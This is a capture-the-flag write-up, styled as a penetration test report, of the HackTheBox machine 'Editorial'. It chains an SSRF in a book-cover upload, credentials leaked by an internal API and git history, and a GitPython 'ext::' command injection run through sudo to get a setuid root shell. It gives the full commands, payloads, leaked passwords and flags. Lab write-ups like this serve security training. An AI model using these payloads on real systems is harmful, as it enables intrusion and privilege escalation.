This comprehensive penetration testing report documents the complete exploitation of the Editorial HTB machine, covering reconnaissance, vulnerability assessment, exploitation, and post-exploitation activities. The target demonstrated multiple security weaknesses including SSRF vulnerabilities, information disclosure, and privilege escalation via vulnerable GitPython implementation.
export target=10.129.9.82
echo "10.129.9.82 editorial.htb" | sudo tee -a /etc/hosts
Comprehensive Port Scan:
sudo nmap -p- --min-rate 5000 -sT -vvv $target
Results:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Service Version Detection:
sudo nmap -sC -sV -p 22,80 -T4 $target
The web application hosted on port 80 revealed an upload functionality at http://editorial.htb/upload that was found to generate outbound HTTP requests.
Intercepted Request Analysis:
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------18468863312856139189471193778
Content-Length: 362
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
Priority: u=0
-----------------------------18468863312856139189471193778
Content-Disposition: form-data; name="bookurl"
http://10.10.14.71:80/
-----------------------------18468863312856139189471193778
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------18468863312856139189471193778--
Server Response:
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Date: Thu, 13 Nov 2025 01:42:42 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
Testing Internal Services:
# Save the request to file for fuzzing
cat > request.req << 'EOF'
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------18468863312856139189471193778
Content-Length: 362
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
Priority: u=0
-----------------------------18468863312856139189471193778
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ/
-----------------------------18468863312856139189471193778
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------18468863312856139189471193778--
EOF
# Port discovery via fuzzing
ffuf -request request.req -request-proto http -w <(seq 1 65535) -ac
Discovery: Internal service running on port 5000
Accessing Internal Service:
# Using SSRF to access internal service
curl -X POST http://editorial.htb/upload-cover \
-F "bookurl=http://127.0.0.1:5000/" \
-F "bookfile=@/dev/null"
Response Analysis:
The server returned a UUID file path: /static/uploads/79ca0f80-ccaf-48f9-8d1c-61c0601b5204
API Metadata Retrieval:
curl -s http://editorial.htb/static/uploads/79ca0f80-ccaf-48f9-8d1c-61c0601b5204 | jq .
API Structure Discovered:
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Accessing Authors Endpoint:
curl -X POST http://editorial.htb/upload-cover \
-F "bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors" \
-F "bookfile=@/dev/null"
Retrieved Credential File:
curl -s http://editorial.htb/static/uploads/9617b4f8-15bb-410e-929c-bd9131c0560a | jq .
Credentials Exposed:
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Credential Verification:
crackmapexec ssh 10.129.9.82 -u dev -p 'dev080217_devAPI!@'
Successful SSH Access:
ssh dev@10.129.9.82
User Flag Acquisition:
dev@editorial:~$ cat /home/dev/user.txt
79129e7f798cb5bb158236b1b9b4ef7d
Git Repository Examination:
dev@editorial:~/apps$ git log --oneline
b73481b (HEAD) change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
Code Change Analysis:
dev@editorial:~/apps$ git diff b73481b 1e84a03
Production Credentials Discovered:
- 'template_mail_message': "Welcome to the team! ... Username: dev\nPassword: dev080217_devAPI!@\n..."
+ 'template_mail_message': "Welcome to the team! ... Username: prod\nPassword: 080217_Producti0n_2023!@\n..."
User Switching:
dev@editorial:~$ su prod
Password: 080217_Producti0n_2023!@
Sudo Rights Enumeration:
prod@editorial:~$ sudo -l
Results:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Script Content:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Dependency Analysis:
prod@editorial:~$ pip freeze | grep -i "git"
gitdb==4.0.10
GitPython==3.1.29
CVE Research: GitPython 3.1.29 vulnerable to command injection via Git protocol.
Proof of Concept:
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
Initial Test:
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
Error Output (Expected):
Traceback (most recent call last):
[...]
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
Verification:
prod@editorial:~$ ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 13 02:40 /tmp/pwned
Root Shell Creation Script:
prod@editorial:~$ cat > /dev/shm/script.sh << 'EOF'
#!/bin/bash
cp /bin/sh /tmp/aravi
chown root:root /tmp/aravi
chmod 6777 /tmp/aravi
EOF
prod@editorial:~$ chmod +x /dev/shm/script.sh
Exploitation:
prod@editorial:~$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /dev/shm/script.sh'
Privileged Shell Execution:
prod@editorial:~$ /tmp/aravi -p
System Information:
# id; whoami; hostname; uname -r
uid=1000(prod) gid=1000(prod) euid=0(root) egid=0(root) groups=0(root),1000(prod)
root
editorial
5.15.0-112-generic
Root Flag Acquisition:
# cat /root/root.txt
a0bbc38cb6804e4f1942271c619b1844
/upload-cover endpoint